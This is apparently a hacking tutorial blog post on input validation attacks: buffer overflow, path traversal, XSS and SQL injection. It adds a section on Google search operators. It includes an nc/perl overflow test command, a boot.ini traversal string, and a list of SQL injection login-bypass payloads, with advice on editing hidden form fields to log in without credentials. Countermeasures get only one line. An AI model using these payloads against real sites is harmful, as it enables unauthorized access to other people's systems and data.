Hack-Track-Online-Input Validation Attacks ~ Hack Track

Input Validation Attacks :-

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application.
The most common input validation attacks are as follows-

1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions.
To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack.
Here’s the buffer test, calling on Perl from the command line:
$ echo –e “GET /login.php?user=\
> `perl –e ‘print “a” x 500’`\nHTTP/1.0\n\n” | \
nc –vv website 80
This sends a string of 500 “a” characters for the user value to the login.php file.
Buffer overflow can be tested by sending repeated requests to the application and recording the server's response.

2) Canonicalization :- These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../../../../../../boot.ini”. This type of functionality is evident from the URL and is not limited to any one programming language or web server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are targeted, something like following-
/menu.asp?dimlDisplayer=menu.asp
/webacc?User.asp=login.htt
/SWEditServlet?station_path=Z&publication_id=2043&template=login.tem
/Getfile.asp?/scripts/Client/login.js
/includes/printable.asp?Link=customers/overview.htm

3) Cross-site Scripting (XSS) :- Cross-site scripting attacks place malicious code, usually JavaScript, in locations where other users see it. Target fields in forms can be addresses, bulletin board comments, etc.
We have found that error pages are often subject to XSS attacks. For example, the URL for a normal application error looks like this:
http://website/inc/errors.asp?Error=Invalid%20password
This displays a custom access denied page that says, “Invalid password”. Seeing a string
on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:
http://website/inc/errors.asp?Error=<script%20src=...
That is, place the script tags on the URL.

4) SQL Injection :- This kind of attack occurs when an attacker uses specially crafted SQL queries as an input, which can open up a database. Online forms such as login prompts, search enquiries, guest books, feedback forms, etc. are specially targeted.
The easiest test for the presence of a SQL injection attack is to append “or+1=1” to the URL and inspect the data returned by the server.
example:- http://www.domain.com/index.asp?querystring=sports' or 1=1--

SQL Injection Attacks :-

What is SQL Injection?

SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. Web pages which accepts parameters from user, and make SQL query to the database, are targeted. For Example, A web page with username and password, fires SQL query on the database to check whether a user has entered valid name and/or password or not. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

What is Required?
1) Any Web Browser
2) Some Basic SQL (Structured Query Language) Queries such as 'SELECT', 'INSERT', 'UPDATE', 'DELETE', etc. along with their attributes (i.e Syntax).

What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP/ASPX page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

<FORM action=login.aspx method=post>
<input type=hidden name=user value=xyz>
</FORM>

Everything between the <FORM> and </FORM> tags have potential parameters that might be useful.

You should look for pages like ASP, ASPX, JSP, CGI, or PHP.
Try to look especially for URL that takes parameters, like:
http://example.com/login.asp?id=10

Is it Vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
Login: hi' or 1=1--
Pass: hi' or 1=1--
http://example.com/login.asp?id=hi' or 1=1--

You can do this with a hidden field, just view the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly.
Example:
<FORM action=http://example.com/login.asp method=post>
<input type=hidden name=abc value="hi' or 1=1--">
</FORM>

If luck is on your side, you will get login without any login name or password.

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:
http://example.com/search.asp?category=sports
In this URL 'category' is the variable name and 'sports' is it's value.
Here this request fires following query on the database in background.
SELECT * FROM search WHERE category='sports'
Where 'search' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:
http://example.com/search.asp?category=sports' or 1=1--
Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like:
SELECT * FROM search WHERE category='sports' or 1=1--'
The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

Countermeasures ?
Filter out character like ' " - / \ ; NULL, etc. in all strings from:
* Input from users
* Parameters from URL
* Values from cookie

Google Hacking :-

Basic Operators:-
1) And (+) :- This operator is used to include multiple terms in a query which is to be searched in google.
example:- if we type "hacker+yahoo+science" in google search box and click search, it will reveal the results something which are related to all the three words simultaneously i.e. hacker, yahoo and science.

2 ) OR (|) :- The OR operator, represented by symbol( | ) or simply the word OR in uppercase letters, instructs google to locate either one term or another term in a query.

3) NOT :- It is opposite of AND operator, a NOT operator excludes a word from search.
example:- If we want to search websites containing the terms google and hacking but not security then we enter the query like "google+hacking" NOT "security".

Advanced Operators:-
1) Intitle :- This operator searches within the title tags.
examples:- intitle:hacking returns all pages that have the string "hacking" in their title.
intitle:"index of" returns all pages that have string "index of" in their title.
Companion operator:- "allintitle".

2) Inurl :- Returns all matches, where url of the pages contains given word.
example:- inurl:admin returns all matches, where url of searched pages must contains the word "admin".
Companion operator:- "allinurl".

3) Site :- This operator narrows search to specific website. It will search results only from given domain. Can be used to carry out information gathering on specific domain.
example:- site:www.microsoft.com will find results only from the domain www.microsoft.com

4) Link :- This operator allows you to search for pages that links to given website.
example:- link:www.microsoft.com
Here, each of the searched result contains asp links to www.microsoft.com

5) Info :- This operator shows summary information for a site and provides links to other google searches that might pertain to that site.
example:- info:www.yahoo.com

6) Define :- This operator shows definition for any term.
example:- define:security
It gives various definitions for the word "security" in different manner from all over the world.

7) Filetype :- This operator allows us to search specific files on the internet. The supported file types can be pdf, xls, ppt, doc, txt, asp, swf, rtf, etc..
example:- If you want to search for all text documents presented on domain www.microsoft.com then we enter the query something like following.
"inurl:www.microsoft.com filetype:txt"

Some of the most powerful and very effective google search queries
are added on Google Dorks! page.